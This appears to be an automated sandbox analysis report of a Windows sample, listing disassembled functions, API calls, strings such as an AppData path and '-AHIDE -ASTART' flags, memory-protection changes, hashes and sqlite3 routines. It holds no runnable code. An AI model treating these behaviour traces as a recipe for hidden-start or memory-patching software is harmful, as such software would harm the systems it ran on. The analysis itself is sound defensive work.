                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CreateFile
                                                                                                                                      • String ID: .log$C:\Users\user\AppData\Roaming\is\
                                                                                                                                      • API String ID: 823142352-2923118451
                                                                                                                                      • Opcode ID: 8b04b8229696c93fffec390ef9e0edac84d50ce6694a005907047084620c7d21
                                                                                                                                      • Instruction ID: aa32161d85c11d03c1439d9a35af4233c710e000bde9dff0b8fed059c6e00831
                                                                                                                                      • Opcode Fuzzy Hash: 8b04b8229696c93fffec390ef9e0edac84d50ce6694a005907047084620c7d21
                                                                                                                                      • Instruction Fuzzy Hash: 440162B220024ABBCF110F94DC59F8A7FA5BF18755F008214FA15B90A0C379C260DF50
                                                                                                                                      Function 07064D61 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 51stringCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      • C:\Users\user\AppData\Roaming\is\, xrefs: 07064D8C
                                                                                                                                      • C:\Users\user\AppData\Roaming\is\, xrefs: 07064DA2
                                                                                                                                      • -AHIDE -ASTART, xrefs: 07064E20
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: lstrcmplstrlen
                                                                                                                                      • String ID: -AHIDE -ASTART$C:\Users\user\AppData\Roaming\is\$C:\Users\user\AppData\Roaming\is\
                                                                                                                                      • API String ID: 898299967-3314104923
                                                                                                                                      • Opcode ID: f57c64d6e11cc2ee56b5a0845e9579a047af5cc14ce8a73a8068999a307ad18d
                                                                                                                                      • Instruction ID: fddd51b5264ed840e0bce1d18466755d15eb0b880bf60f5f07abdcc5c66215ca
                                                                                                                                      • Opcode Fuzzy Hash: f57c64d6e11cc2ee56b5a0845e9579a047af5cc14ce8a73a8068999a307ad18d
                                                                                                                                      • Instruction Fuzzy Hash: 8711ADF1690345EEEBE07B70EC6BF8936E4EB00704F918310F350A90C5DABD2A108E1A
                                                                                                                                      Function 0706416E Relevance: 6.0, APIs: 4, Instructions: 44filestringCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • lstrcmp.KERNEL32(?,0706416C), ref: 0706416F
                                                                                                                                      • FindNextFileA.KERNELBASE(?,?), ref: 070641C2
                                                                                                                                      • FindClose.KERNEL32(?), ref: 070641DE
                                                                                                                                        • Part of subcall function 07064181: lstrcmp.KERNEL32(?,0706417E), ref: 07064182
                                                                                                                                        • Part of subcall function 07064181: lstrcat.KERNEL32(?,?), ref: 0706419D
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Findlstrcmp$CloseFileNextlstrcat
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 360925478-0
                                                                                                                                      • Opcode ID: bbda9c3726a3ddc61ffb49a0e3a0aad6c3f2d0bc3cde61178d330c8c3b76c264
                                                                                                                                      • Instruction ID: 2fbbd7c42c71be0a8b964ad826ba7b9ea71a67f14cd95df19736b6828a0d811f
                                                                                                                                      • Opcode Fuzzy Hash: bbda9c3726a3ddc61ffb49a0e3a0aad6c3f2d0bc3cde61178d330c8c3b76c264
                                                                                                                                      • Instruction Fuzzy Hash: F50126F2504181AFCB116B34DC5CA8E3FE8EB51341F020651F102D4A06DB38C720CB22
                                                                                                                                      Function 07064181 Relevance: 6.0, APIs: 4, Instructions: 36stringfileCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 43 7064181-706418a lstrcmp 44 706418c-70641b5 lstrcat 43->44 45 70641bb-70641ca FindNextFileA 43->45 44->45 46 7064167-7064177 call 706416e 45->46 47 70641cc-70641e5 FindClose 45->47 46->45 51 7064179-706418a call 7064181 46->51 51->44 51->45
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Find$CloseFileNextlstrcatlstrcmp
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 122021188-0
                                                                                                                                      • Opcode ID: 9bdf6bf3f43087fd8e1d5e6b482b3d2b6a9496a5670bcb60f6c7a6c53bb2798f
                                                                                                                                      • Instruction ID: ef2e9caa332aba6f4a9917ac2c75c8e00a7158956897b10ecd7289cc09918306
                                                                                                                                      • Opcode Fuzzy Hash: 9bdf6bf3f43087fd8e1d5e6b482b3d2b6a9496a5670bcb60f6c7a6c53bb2798f
                                                                                                                                      • Instruction Fuzzy Hash: 73F090B2100145AFCB116F38EC4DE9B3FE9EB55346F0205A1F646D5215DB398A608F21
                                                                                                                                      Function 07064CC6 Relevance: 6.0, APIs: 4, Instructions: 34stringsynchronizationCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 55 7064cc6-7064cd1 StrRStrIA 56 7064cd3-7064ce5 lstrlen 55->56 57 7064d0d-7064d1c CreateMutexA 55->57 56->57 62 7064ce7-7064ce9 call 7064cf1 56->62 58 7064d20 57->58 59 7064d1e 57->59 60 7064d21-7064d23 58->60 59->58 64 7064cee-7064cfa 62->64 64->60 65 7064cfc-7064d08 wsprintfA 64->65 65->57
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CreateMutexlstrlenwsprintf
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1096815008-0
                                                                                                                                      • Opcode ID: 1536d4d38f31f29ea68425c92d1d6ed54b379537b0a66c6a9d14af06f4ae4a16
                                                                                                                                      • Instruction ID: 9a4ba79d0b1028448421390a782a75f8bf67ecc72c892e09a8bb51d53d2416be
                                                                                                                                      • Opcode Fuzzy Hash: 1536d4d38f31f29ea68425c92d1d6ed54b379537b0a66c6a9d14af06f4ae4a16
                                                                                                                                      • Instruction Fuzzy Hash: 7DF0AEF29001516BDFD12F64AC5DB5B3BDD9F10591F044710FB02D6140EB3CC3108A55
                                                                                                                                      Function 07064953 Relevance: 4.6, APIs: 3, Instructions: 101memoryCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 67 7064953-7064968 68 706496e-7064979 67->68 69 7064a68-7064a6a 67->69 70 706497b-706497e 68->70 71 7064993-70649ba VirtualAlloc 70->71 72 7064980-7064987 70->72 71->69 73 70649c0-70649cd 71->73 72->69 77 706498d-7064991 72->77 75 70649f2-7064a5c VirtualProtect * 2 73->75 76 70649cf-70649e2 73->76 80 7064a5f-7064a62 75->80 78 70649e8-70649ea 76->78 77->70 78->80 81 70649ec-70649ef 78->81 80->69 81->75
                                                                                                                                      APIs
                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,00000005,00003000,00000040), ref: 070649B5
                                                                                                                                      • VirtualProtect.KERNEL32(?,00000005,00000040,00000000), ref: 07064A38
                                                                                                                                      • VirtualProtect.KERNEL32(?,00000005,00000000,00000000), ref: 07064A5C
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: Virtual$Protect$Alloc
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2541858876-0
                                                                                                                                      • Opcode ID: 482db29ed971e4bea0896b39cddd9791655dd530db35237317bd531b615ffb24
                                                                                                                                      • Instruction ID: dfdbf84a9a5c06b12fb15635b03e478d3ae5aa8e806a8c5858f1901c129e573f
                                                                                                                                      • Opcode Fuzzy Hash: 482db29ed971e4bea0896b39cddd9791655dd530db35237317bd531b615ffb24
                                                                                                                                      • Instruction Fuzzy Hash: 613152B5A00206AFDB10DFB8C948E9EBBF5EF85710F158259F911A7295EB74DE00CB60
                                                                                                                                      Function 07001000 Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 07001035
                                                                                                                                      • CloseHandle.KERNEL32(?), ref: 07001099
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000003.2315458463.0000000007001000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07001000, based on PE: false
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_3_7001000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CloseCreateFileHandle
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3498533004-0
                                                                                                                                      • Opcode ID: 764365025c8f5730cafcfffbb4eee0c1dec6b6d5f6aeb5720d8eab97f262efcf
                                                                                                                                      • Instruction ID: 92063447304fcd1d752b54da397539272a902621af6e3ef999b9e9228061f827
                                                                                                                                      • Opcode Fuzzy Hash: 764365025c8f5730cafcfffbb4eee0c1dec6b6d5f6aeb5720d8eab97f262efcf
                                                                                                                                      • Instruction Fuzzy Hash: CD115EB0600305EFEB616FB4CD4AF193AE5FB04300F21C260E980DB2D9EE75D9009B51
                                                                                                                                      Function 07064CFE Relevance: 3.0, APIs: 2, Instructions: 15synchronizationCOMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 83 7064cfe-7064d1c wsprintfA CreateMutexA 85 7064d20-7064d23 83->85 86 7064d1e 83->86 86->85
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: CreateMutexwsprintf
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1107950-0
                                                                                                                                      • Opcode ID: ab61d304c36c04272374ad34b4b84b644ff97296e2c05abb5b792bbbe4c9ea5f
                                                                                                                                      • Instruction ID: 9755957012359cc77bb2f7c7829cb506af85e78ee07440c43ebf4273f193488e
                                                                                                                                      • Opcode Fuzzy Hash: ab61d304c36c04272374ad34b4b84b644ff97296e2c05abb5b792bbbe4c9ea5f
                                                                                                                                      • Instruction Fuzzy Hash: F0D0A9B2A00210ABCFA22F94E889A8B3FE8EF112923008524FB15D9040D23983208BA0
                                                                                                                                      Function 070642D6 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 100 70642d6-706430c SetErrorMode
                                                                                                                                      APIs
                                                                                                                                      • SetErrorMode.KERNEL32(00008000), ref: 07064308
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2326837977.0000000007064000.00000040.00000001.01000000.0000000E.sdmp, Offset: 07000000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2326800839.0000000007000000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326873969.0000000007083000.00000080.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326916903.0000000007087000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326944508.0000000007088000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2326972890.0000000007089000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327004067.000000000708A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_7000000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorMode
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2340568224-0
                                                                                                                                      • Opcode ID: ba1202a04aefd4a87a2866aecacb5e6a4573d2f0c9db515abd97adf232b411e8
                                                                                                                                      • Instruction ID: 41c6102d8d9c6727f53351e22cad045c0b8fd9dd7767a4ad21db2bd154dc3205
                                                                                                                                      • Opcode Fuzzy Hash: ba1202a04aefd4a87a2866aecacb5e6a4573d2f0c9db515abd97adf232b411e8
                                                                                                                                      • Instruction Fuzzy Hash: A7E0ECB1D01308EFDB51DFA4D60978DB7F0BB10308F6181A4C44163244EB799F08AB41

                                                                                                                                      Non-executed Functions

                                                                                                                                      Function 61E23C36 Relevance: 10.7, APIs: 7, Instructions: 247COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_value_int.SQLITE3 ref: 61E23C8B
                                                                                                                                      • sqlite3_value_bytes.SQLITE3 ref: 61E23CAB
                                                                                                                                      • sqlite3_value_blob.SQLITE3 ref: 61E23CB8
                                                                                                                                      • sqlite3_value_text.SQLITE3 ref: 61E23CCF
                                                                                                                                      • sqlite3_value_int.SQLITE3 ref: 61E23D1F
                                                                                                                                      • sqlite3_result_text64.SQLITE3 ref: 61E23E6F
                                                                                                                                      • sqlite3_result_blob64.SQLITE3 ref: 61E23EC9
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_value_int$sqlite3_result_blob64sqlite3_result_text64sqlite3_value_blobsqlite3_value_bytessqlite3_value_text
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3992148849-0
                                                                                                                                      • Opcode ID: 2f9c04d0618c17e054d48f8f02be8033d10990f51b201c2530825f44b93309a4
                                                                                                                                      • Instruction ID: 8bf96a2d00f04e2aca3490bfbb0228dba3e221c05c0191d79004e04b9226a1a3
                                                                                                                                      • Opcode Fuzzy Hash: 2f9c04d0618c17e054d48f8f02be8033d10990f51b201c2530825f44b93309a4
                                                                                                                                      • Instruction Fuzzy Hash: AB918275E047198FDB01CFA9C8A069DBBB1BB8D324F29C62AE86497394D730D8468F51
                                                                                                                                      Function 61E1CE5B Relevance: 7.8, APIs: 5, Instructions: 340COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_malloc$memcmpsqlite3_freesqlite3_realloc
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 1984881590-0
                                                                                                                                      • Opcode ID: edbb607c285be510a0029581ec814a48f17a4195f09f1808b928d548c4f35efb
                                                                                                                                      • Instruction ID: b7e8ebd232bc894cd7b58a04ebd2a0b21c00f7c03e47dda8414fbd01ead25642
                                                                                                                                      • Opcode Fuzzy Hash: edbb607c285be510a0029581ec814a48f17a4195f09f1808b928d548c4f35efb
                                                                                                                                      • Instruction Fuzzy Hash: 6CE11775A082498FDB04CF68C48169ABBF2FF8C354F258569EC14EB319D734E952CB90
                                                                                                                                      Function 61E4100E Relevance: 6.4, APIs: 4, Instructions: 407COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E41023
                                                                                                                                        • Part of subcall function 61E13C8E: sqlite3_mutex_try.SQLITE3(?,00000000,?,61E13CF0), ref: 61E13C2E
                                                                                                                                      • sqlite3_mutex_enter.SQLITE3 ref: 61E4103C
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E4114D
                                                                                                                                      • sqlite3_mutex_leave.SQLITE3 ref: 61E4150C
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327661080.0000000061E9B000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327687696.0000000061E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327717208.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327777896.0000000061EA1000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_13_2_61e00000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_mutex_try
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 2068833801-0
                                                                                                                                      • Opcode ID: fd871e7ad1a16c1bf6c1541cf4dfcc969e07b7113be856a64317f61cd3fac5e4
                                                                                                                                      • Instruction ID: 9e4f52f2775dad555f984925ad3b3440f6ad06ba104db86d27a76b14720a4eff
                                                                                                                                      • Opcode Fuzzy Hash: fd871e7ad1a16c1bf6c1541cf4dfcc969e07b7113be856a64317f61cd3fac5e4
                                                                                                                                      • Instruction Fuzzy Hash: ABF1E274A042598FDF08CFA9D590A9DBBF2AF88318F25C069E815EB355DB34EC52CB50
                                                                                                                                      Function 61E34223 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 284COMMON
                                                                                                                                      Download Yara Rule

                                                                                                                                      Control-flow Graph

                                                                                                                                      • Executed
                                                                                                                                      • Not Executed
                                                                                                                                      control_flow_graph 730 61e34223-61e34254 sqlite3_mutex_enter call 61e07a39 733 61e34256-61e34259 730->733 734 61e3425f-61e34266 730->734 733->734 735 61e34289-61e342a8 734->735 736 61e34268-61e3426c 734->736 741 61e342aa-61e342ac 735->741 737 61e3427f-61e34284 736->737 738 61e3426e-61e3427d sqlite3_mprintf 736->738 739 61e345df-61e34602 call 61e169f5 sqlite3_mutex_leave 737->739 738->737 743 61e342f9-61e3430f 741->743 744 61e342ae-61e342b2 741->744 747 61e34311-61e34315 743->747 748 61e3437a-61e3438d 743->748 744->743 746 61e342b4-61e342d1 sqlite3_mprintf 744->746 749 61e342d7-61e342f7 sqlite3_free 746->749 750 61e343c9-61e343ce 746->750 747->737 751 61e3431b-61e34337 sqlite3_malloc64 747->751 754 61e34393-61e34397 748->754 755 61e34470 748->755 749->741 750->739 751->737 753 61e3433d-61e34375 sqlite3_snprintf 751->753 753->737 754->755 757 61e3439d-61e343bd call 61e07a39 sqlite3_malloc64 754->757 758 61e34472-61e34474 755->758 768 61e343d3-61e343d9 757->768 769 61e343bf-61e343c4 call 61e01699 757->769 761 61e34502-61e34529 sqlite3_free 758->761 762 61e3447a-61e3447e 758->762 772 61e34570-61e3458e call 61e10e8e 761->772 773 61e3452b-61e34532 761->773 764 61e34480-61e344ad call 61e07a39 sqlite3_malloc64 762->764 765 61e344eb-61e344f8 call 61e01699 sqlite3_free 762->765 764->765 780 61e344af-61e344e4 sqlite3_snprintf 764->780 765->761 775 61e343e0-61e343e3 768->775 769->750 772->750 787 61e34594-61e3459f 772->787 773->739 777 61e34538-61e3453c 773->777 778 61e343e5-61e3441d sqlite3_strnicmp 775->778 779 61e3441f-61e34426 775->779 782 61e34556-61e3456b sqlite3_free call 61e01699 777->782 783 61e3453e-61e34554 sqlite3_mprintf 777->783 784 61e34443-61e3444b 778->784 779->775 785 61e34428 779->785 780->765 782->772 783->782 788 61e3442a-61e3442d 784->788 789 61e3444d-61e3446e 784->789 785->778 792 61e345a1-61e345ac 787->792 793 61e345ae-61e345dc call 61e0f5ee 787->793 788->789 791 61e3442f-61e34436 788->791 789->758 795 61e34442 791->795 796 61e34438-61e34441 791->796 792->793 793->739 795->784 796->795
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000D.00000002.2327081746.0000000061E01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 61E00000, based on PE: true
                                                                                                                                      • Associated: 0000000D.00000002.2327042446.0000000061E00000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327541615.0000000061E89000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                      • Associated: 0000000D.00000002.2327566884.0000000061E8A000.00000004.00000001.01000000.0000000D.sdmpDownload File
